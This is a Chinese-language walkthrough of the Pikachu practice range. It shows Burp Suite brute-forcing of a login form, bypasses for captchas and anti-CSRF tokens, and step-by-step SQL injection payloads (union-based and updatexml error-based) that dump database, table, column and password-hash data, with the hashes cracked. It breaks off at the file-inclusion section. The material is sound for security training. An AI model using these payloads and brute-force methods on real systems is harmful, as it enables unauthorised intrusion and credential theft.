pikachu靶场

pikachu靶场

基于表单暴力破解

复制代码
看一下界面,有两个输入框,使用暴力破解使用Cluster bomb

前提须知是
Sinper 对$$符号标记的数据进行逐个替换
Battering ram 对$$符号标记的数据同时替换
Pitchfork 多参数,使用不同字典
Cluster bomb 多参数做笛卡尔乘积模式爆破,多个位置,交叉组合
复制代码
bp抓包,发送到intrude,修改标记内容
复制代码
设置payloads,set 1 2 type设置为simple load字典 进行 start attack, 将length大小排序就出来了

验证码绕过(on server)

复制代码
比上面多了一个验证码,用bp抓包看下
复制代码
尝试了几次账号密码都没提示验证码的问题,说明验证码可以一直用,那就和上面思路一样暴力破解

验证码绕过(on client)

复制代码
尝试输入,发现会有弹窗,那就是前端,查看前端关于验证码的代码,createCode()
复制代码
老样子的配置进行,依旧成功,前端验证bp都能无视

token防爆破

复制代码
一看没有验证码了,token搜索下含义,令牌,验证,防止csrf攻击,
复制代码
尝试下bp显示csrf token error,每次token都会变
复制代码
再尝试删除token,response中什么返回结果都没有,发现前端代码hidden,token,value的代码尝试是下一次的token
复制代码
攻击模式选择Pitchfork,因为Cluster bomb是三组payload排列组合,所以使用一对一的
第三个payload type设置为Recursive grep
复制代码
先在这个界面选择打勾然后add
双击下图value的内容就自动填写正则表达式了
复制代码
还需要将线程设置为1,因为每次都要用上次response中返回的token,多线程就会乱
复制代码
最后一步开跑就结束了

数字型注入

复制代码
看一下源码,没有任何处理,那直接bp抓包修改
复制代码
id=1 order by 2#&submit=%E6%9F%A5%E8%AF%A2
发现order by 3 报错,order by2 正常,字段数就是2
复制代码
正常走流程爆库
id=1 union select 1,database()#
pikachu
复制代码
爆表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
 httpinfo,member,message,users,xssblind
复制代码
爆字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#
id,userid,ipaddress,useragent,httpaccept,remoteport,id,username,pw,sex,phonenum,address,email,id,content,time,id,username,password,level,id,time,content,name
复制代码
下面就是字段里的数据了
1 union select username,password from users#
e10adc3949ba59abbe56e057f20f883e
670b14728ad9902aecba32e22fa4f6bd
e99a18c428cb38d5f260853678922e03
像是md5解码,md5在线解密下
123456
000000
abc123

字符型注入

复制代码
看一下源码,需要考虑闭合是单引号
复制代码
输入万能注入,有变化证明语句正确
1' or 1=1#
复制代码
判断字段数,道理同数字型注入
1' order by 2#
复制代码
爆库
1' union select 1,database()#
pikachu
复制代码
爆表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind
复制代码
爆字段
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password 
复制代码
爆值
1' union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
同理用md5解密

XX型注入

复制代码
查看源码,单引号和括号
复制代码
尝试一下
1') or 1=1#
成功了,按照流程继续
复制代码
爆库
1') union select 1,database()#
pikachu
复制代码
爆表
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind
复制代码
爆字段
1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
复制代码
爆值
1') union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

your uid:test
your email is: e99a18c428cb38d5f260853678922e03

搜索型注入

复制代码
查看源码,单引号和百分号
复制代码
1%' or 1=1#
成功了,那还是老流程
复制代码
判断字段数,这个是到4才显示错误
1%' order by 4#
字段数就是3了
复制代码
爆库
1%' union select 1,2,database()#
pikachu
复制代码
爆表
1%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind
复制代码
爆字段
1%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
复制代码
爆值
1%' union select username,password,3 from users#
username:admin
uid:e10adc3949ba59abbe56e057f20f883e
email is: 3

username:pikachu
uid:670b14728ad9902aecba32e22fa4f6bd
email is: 3

username:test
uid:e99a18c428cb38d5f260853678922e03
email is: 3

"insert/update"注入

复制代码
查看源码,会对字符进行转义,联合注入就不能用了,进行报错注入
复制代码
bp在注册界面抓包,爆库
1' or updatexml(1,concat(0x7e,database()),1) or'
复制代码
爆表
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) or'
复制代码
爆字段
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) or'
复制代码
爆值
1' or updatexml(1,concat(0x7e,(select group_concat(username,'@',password)from pikachu.users)),1) or'

"delete"注入

复制代码
查看源代码,

File inclusion(local)

复制代码
先查看源码,无限制,